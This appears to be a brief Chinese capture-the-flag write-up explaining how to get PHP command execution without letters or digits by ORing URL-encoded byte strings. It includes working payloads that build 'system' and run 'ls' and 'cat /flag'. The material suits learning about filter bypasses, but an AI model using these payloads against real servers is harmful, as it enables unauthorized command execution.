

## 解题思路

无字母数字RCE，只过滤了异或和取反符号，还能通过自增，或运算等进行绕过，这里是通过或运算实现

## 或运算

$$0 \mid 0 = 0$$
$$1 \mid 0 = 1$$
$$0 \mid 1 = 1$$
$$1 \mid 1=1$$

00010011|01100000=01110011, 而01110011十进制为115, 通过查ascii码表发现对应的字符为's', 可推出payload

## payload

```
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60%20/");
```

```
("%13%19%13%14%05%0d" | "%60%60%60%60%60%60")
```

```
("%40%40%60%20%20%60%60%40%60" | "%23%21%14%20%0F%06%0C%21%07");
```
